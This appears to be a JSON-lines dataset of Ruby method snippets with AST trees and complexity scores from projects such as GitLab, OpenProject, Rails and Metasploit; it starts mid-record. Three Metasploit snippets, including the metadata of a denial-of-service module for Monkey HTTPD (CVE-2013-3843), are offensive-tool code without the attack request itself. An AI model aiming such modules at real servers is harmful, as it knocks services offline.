children\":[{\"type\":\"lvar\",\"children\":[\"twz\"]},\"time_zone\"]}]}]}]}","id":"fd253c0f-2896-416f-b1eb-bb83c1e276f9"}
{"repo_name":"multiwoven","file_path":"./repos/multiwoven/integrations/lib/multiwoven/integrations/source/google_drive/client.rb","start_line":12,"raw_source":"def check_connection(connection_config)\n        connection_config = connection_config.with_indifferent_access\n        client = create_connection(connection_config)\n        build_query(client)\n        success_status\n      rescue StandardError => e\n        failure_status(e)\n      end","complexity_score":10.4,"ast_json":"{\"type\":\"def\",\"children\":[\"check_connection\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"connection_config\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"connection_config\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"connection_config\"]},\"with_indifferent_access\"]}]},{\"type\":\"lvasgn\",\"children\":[\"client\",{\"type\":\"send\",\"children\":[null,\"create_connection\",{\"type\":\"lvar\",\"children\":[\"connection_config\"]}]}]},{\"type\":\"send\",\"children\":[null,\"build_query\",{\"type\":\"lvar\",\"children\":[\"client\"]}]},{\"type\":\"send\",\"children\":[null,\"success_status\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"failure_status\",{\"type\":\"lvar\",\"children\":[\"e\"]}]}]},null]}]}","id":"b9bd7a35-38b1-4851-8631-5528d8e020e7"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/repositories_controller.rb","start_line":301,"raw_source":"def find_repository\n    @repository = @project.repository\n\n    unless @repository\n      render_404\n      return false\n    end\n\n    # Prepare checkout instructions\n    # available on all pages (even empty!)\n    @path = params[:repo_path] || \"\"\n    @instructions = ::SCM::CheckoutInstructionsService.new(@repository, path: @path)\n\n    # Asserts repository availability, or renders an appropriate error\n    @repository.scm.check_availability!\n\n    @rev = params[:rev].blank? ? @repository.default_branch : params[:rev].to_s.strip\n    @rev_to = params[:rev_to]\n\n    if !@rev.to_s.match(REV_PARAM_RE) && @rev_to.to_s.match(REV_PARAM_RE) && @repository.branches.blank?\n      raise InvalidRevisionParam\n    end\n  rescue OpenProject::SCM::Exceptions::SCMEmpty\n    render \"empty\"\n  rescue InvalidRevisionParam\n    show_error_not_found\n  end","complexity_score":52.0,"ast_json":"{\"type\":\"def\",\"children\":[\"find_repository\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@repository\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@project\"]},\"repository\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@repository\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"render_404\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@path\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"repo_path\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@instructions\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"SCM\"]},\"CheckoutInstructionsService\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@repository\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"path\"]},{\"type\":\"ivar\",\"children\":[\"@path\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@repository\"]},\"scm\"]},\"check_availability!\"]},{\"type\":\"ivasgn\",\"children\":[\"@rev\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"rev\"]}]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@repository\"]},\"default_branch\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"rev\"]}]},\"to_s\"]},\"strip\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@rev_to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"rev_to\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@rev\"]},\"to_s\"]},\"match\",{\"type\":\"const\",\"children\":[null,\"REV_PARAM_RE\"]}]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@rev_to\"]},\"to_s\"]},\"match\",{\"type\":\"const\",\"children\":[null,\"REV_PARAM_RE\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@repository\"]},\"branches\"]},\"blank?\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"InvalidRevisionParam\"]}]},null]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenProject\"]},\"SCM\"]},\"Exceptions\"]},\"SCMEmpty\"]}]},null,{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"str\",\"children\":[\"empty\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"InvalidRevisionParam\"]}]},null,{\"type\":\"send\",\"children\":[null,\"show_error_not_found\"]}]},null]}]}","id":"ce53ff51-5c90-496e-8421-f989f536e9df"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/rsync/modules_list.rb","start_line":128,"raw_source":"def rsync_parse_lines(response_data)\n    control_lines = []\n    data_lines = []\n\n    if response_data\n      response_data.strip!\n      response_data.split(/\\n/).map do |line|\n        if line =~ /^#{RSYNC_HEADER}/\n          control_lines << line\n        else\n          data_lines << line\n        end\n      end\n    end\n\n    [ control_lines, data_lines ]\n  end","complexity_score":12.1,"ast_json":"{\"type\":\"def\",\"children\":[\"rsync_parse_lines\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"response_data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"control_lines\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"data_lines\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response_data\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response_data\"]},\"strip!\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response_data\"]},\"split\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\n\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"line\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RSYNC_HEADER\"]}]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"control_lines\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"line\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data_lines\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"line\"]}]}]}]}]},null]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"control_lines\"]},{\"type\":\"lvar\",\"children\":[\"data_lines\"]}]}]}]}","id":"83aa8493-ce0e-4a85-9fd1-94d18140e1b0"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/menus/meetings/menu.rb","start_line":36,"raw_source":"def menu_items\n      [\n        OpenProject::Menu::MenuGroup.new(header: nil, children: top_level_menu_items),\n        OpenProject::Menu::MenuGroup.new(header: I18n.t(:label_meeting_series), children: meeting_series_menu_items),\n        involvement_group\n      ].compact\n    end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"menu_items\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenProject\"]},\"Menu\"]},\"MenuGroup\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"header\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"children\"]},{\"type\":\"send\",\"children\":[null,\"top_level_menu_items\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenProject\"]},\"Menu\"]},\"MenuGroup\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"header\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"sym\",\"children\":[\"label_meeting_series\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"children\"]},{\"type\":\"send\",\"children\":[null,\"meeting_series_menu_items\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"involvement_group\"]}]},\"compact\"]}]}","id":"888b2ac8-ae16-42be-8233-120ffed30501"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/taxon.rb","start_line":263,"raw_source":"def pretty_name_with_fallback\n        pretty_name.blank? ? translated_model[:pretty_name] : pretty_name\n      end","complexity_score":6.7,"ast_json":"{\"type\":\"def\",\"children\":[\"pretty_name_with_fallback\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pretty_name\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"translated_model\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"pretty_name\"]}]},{\"type\":\"send\",\"children\":[null,\"pretty_name\"]}]}]}","id":"4740e2e6-f232-475e-84cf-021726e9ca7a"}
{"repo_name":"rails","file_path":"./repos/rails/actiontext/lib/action_text/attachments/trix_conversion.rb","start_line":31,"raw_source":"def trix_attachment_content\n          if partial_path = attachable.try(:to_trix_content_attachment_partial_path)\n            ActionText::Content.render(partial: partial_path, formats: :html, object: self, as: model_name.element)\n          end\n        end","complexity_score":8.1,"ast_json":"{\"type\":\"def\",\"children\":[\"trix_attachment_content\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"partial_path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"attachable\"]},\"try\",{\"type\":\"sym\",\"children\":[\"to_trix_content_attachment_partial_path\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionText\"]},\"Content\"]},\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"partial\"]},{\"type\":\"lvar\",\"children\":[\"partial_path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"formats\"]},{\"type\":\"sym\",\"children\":[\"html\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"object\"]},{\"type\":\"self\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"as\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model_name\"]},\"element\"]}]}]}]},null]}]}","id":"f2c3731d-c4e3-4fd5-afe7-b9af4d6718aa"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/resolvers/concerns/resolves_merge_requests.rb","start_line":92,"raw_source":"def validate_closed_range!(args)\n    closed_after = args[:closed_after]\n    closed_before = args[:closed_before]\n\n    return if closed_after.nil? && closed_before.nil?\n\n    if closed_after.nil? || closed_before.nil?\n      raise Gitlab::Graphql::Errors::ArgumentError,\n        'You must provide both closedAfter and closedBefore.'\n    end\n\n    if closed_before < closed_after\n      raise Gitlab::Graphql::Errors::ArgumentError,\n        'closedBefore must be on or after closedAfter.'\n    end\n\n    return unless (closed_before - closed_after) > 2.years\n\n    raise Gitlab::Graphql::Errors::ArgumentError,\n      'Time between closedAfter and closedBefore must be 2 years or less.'\n  end","complexity_score":22.35,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_closed_range!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"closed_after\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"closed_after\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"closed_before\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"closed_before\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"closed_after\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"closed_before\"]},\"nil?\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"closed_after\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"closed_before\"]},\"nil?\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Graphql\"]},\"Errors\"]},\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"You must provide both closedAfter and closedBefore.\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"closed_before\"]},\"<\",{\"type\":\"lvar\",\"children\":[\"closed_after\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Graphql\"]},\"Errors\"]},\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"closedBefore must be on or after closedAfter.\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"closed_before\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"closed_after\"]}]}]},\">\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[2]},\"years\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Graphql\"]},\"Errors\"]},\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"Time between closedAfter and closedBefore must be 2 years or less.\"]}]}]}]}","id":"ca47ec99-6132-4468-8bfc-61406d60841f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/repository.rb","start_line":633,"raw_source":"def size\n    exists? ? raw_repository.size : 0.0\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"size\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"exists?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"raw_repository\"]},\"size\"]},{\"type\":\"float\",\"children\":[0.0]}]}]}","id":"22cae192-9717-45e0-8852-d0bf2c6917bd"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20250820014919_update_design_management_repositories_namespace_id_trigger.rb","start_line":26,"raw_source":"def down\n    # Remove the projects.project_namespace_id trigger\n    remove_sharding_key_assignment_trigger(\n      table: :design_management_repositories,\n      sharding_key: :namespace_id,\n      parent_table: :projects,\n      parent_sharding_key: :project_namespace_id,\n      foreign_key: :project_id\n    )\n\n    # Add the projects.namespace_id trigger\n    install_sharding_key_assignment_trigger(\n      table: :design_management_repositories,\n      sharding_key: :namespace_id,\n      parent_table: :projects,\n      parent_sharding_key: :namespace_id,\n      foreign_key: :project_id\n    )\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"remove_sharding_key_assignment_trigger\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"table\"]},{\"type\":\"sym\",\"children\":[\"design_management_repositories\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sharding_key\"]},{\"type\":\"sym\",\"children\":[\"namespace_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"parent_table\"]},{\"type\":\"sym\",\"children\":[\"projects\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"parent_sharding_key\"]},{\"type\":\"sym\",\"children\":[\"project_namespace_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"foreign_key\"]},{\"type\":\"sym\",\"children\":[\"project_id\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"install_sharding_key_assignment_trigger\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"table\"]},{\"type\":\"sym\",\"children\":[\"design_management_repositories\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sharding_key\"]},{\"type\":\"sym\",\"children\":[\"namespace_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"parent_table\"]},{\"type\":\"sym\",\"children\":[\"projects\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"parent_sharding_key\"]},{\"type\":\"sym\",\"children\":[\"namespace_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"foreign_key\"]},{\"type\":\"sym\",\"children\":[\"project_id\"]}]}]}]}]}]}","id":"584dc248-82c2-4a68-86ed-b11cd4160a41"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/redmine/menu_manager/top_menu_helper.rb","start_line":136,"raw_source":"def split_top_menu_into_main_or_more_menus\n    @split_top_menu_into_main_or_more_menus ||= begin\n      items = Hash.new { |h, k| h[k] = [] }\n      first_level_menu_items_for(:top_menu) do |item|\n        if item.name == :help\n          items[:help] = item\n        else\n          context = item.context || :modules\n          items[context] << item\n        end\n      end\n      items\n    end\n  end","complexity_score":20.1,"ast_json":"{\"type\":\"def\",\"children\":[\"split_top_menu_into_main_or_more_menus\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@split_top_menu_into_main_or_more_menus\"]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"items\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},\"new\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"h\"]},{\"type\":\"arg\",\"children\":[\"k\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"h\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"k\"]},{\"type\":\"array\",\"children\":[]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"first_level_menu_items_for\",{\"type\":\"sym\",\"children\":[\"top_menu\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"item\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"name\"]},\"==\",{\"type\":\"sym\",\"children\":[\"help\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"items\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"help\"]},{\"type\":\"lvar\",\"children\":[\"item\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"context\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"context\"]},{\"type\":\"sym\",\"children\":[\"modules\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"items\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"context\"]}]},\"<<\",{\"type\":\"lvar\",\"children\":[\"item\"]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"items\"]}]}]}]}","id":"505eb0da-b200-465c-ba7f-af1d7a1170fc"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb","start_line":224,"raw_source":"def cmd_ipconfig(*args)\n    ifaces = client.net.config.interfaces\n\n    if (ifaces.length == 0)\n      print_line('No interfaces were found.')\n    else\n      ifaces.sort{|a,b| a.index <=> b.index}.each do |iface|\n        print(\"\\n\" + iface.pretty + \"\\n\")\n      end\n    end\n  end","complexity_score":25.9,"ast_json":"{\"type\":\"def\",\"children\":[\"cmd_ipconfig\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ifaces\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"net\"]},\"config\"]},\"interfaces\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ifaces\"]},\"length\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"No interfaces were found.\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ifaces\"]},\"sort\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"a\"]},{\"type\":\"arg\",\"children\":[\"b\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"a\"]},\"index\"]},\"<=>\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"b\"]},\"index\"]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"iface\"]}]},{\"type\":\"send\",\"children\":[null,\"print\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"iface\"]},\"pretty\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]}]}]}]}","id":"a408adbf-5c45-4297-8669-102fb52dfc98"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/dos/http/monkey_headers.rb","start_line":10,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Monkey HTTPD Header Parsing Denial of Service (DoS)',\n        'Description' => %q{\n          This module causes improper header parsing that leads to a segmentation fault\n          due to a specially crafted HTTP request. Affects version <= 1.2.0.\n        },\n        'Author' => [\n          'Doug Prostko <dougtko[at]gmail.com>'\n        ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          ['CVE', '2013-3843'],\n          ['OSVDB', '93853'],\n          ['BID', '60333']\n        ],\n        'DisclosureDate' => '2013-05-30',\n        'Notes' => {\n          'Stability' => [CRASH_SERVICE_DOWN],\n          'SideEffects' => [],\n          'Reliability' => []\n        }\n      )\n    )\n\n    register_options(\n      [\n        Opt::RPORT(2001)\n      ]\n    )\n  end","complexity_score":5.55,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Monkey HTTPD Header Parsing Denial of Service (DoS)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module causes improper header parsing that leads to a segmentation fault\\n\"]},{\"type\":\"str\",\"children\":[\"          due to a specially crafted HTTP request. Affects version <= 1.2.0.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Doug Prostko <dougtko[at]gmail.com>\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2013-3843\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"93853\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"BID\"]},{\"type\":\"str\",\"children\":[\"60333\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2013-05-30\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SERVICE_DOWN\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[2001]}]}]}]}]}]}","id":"1fd4ef44-958f-427f-872a-a2f5c3689089"}
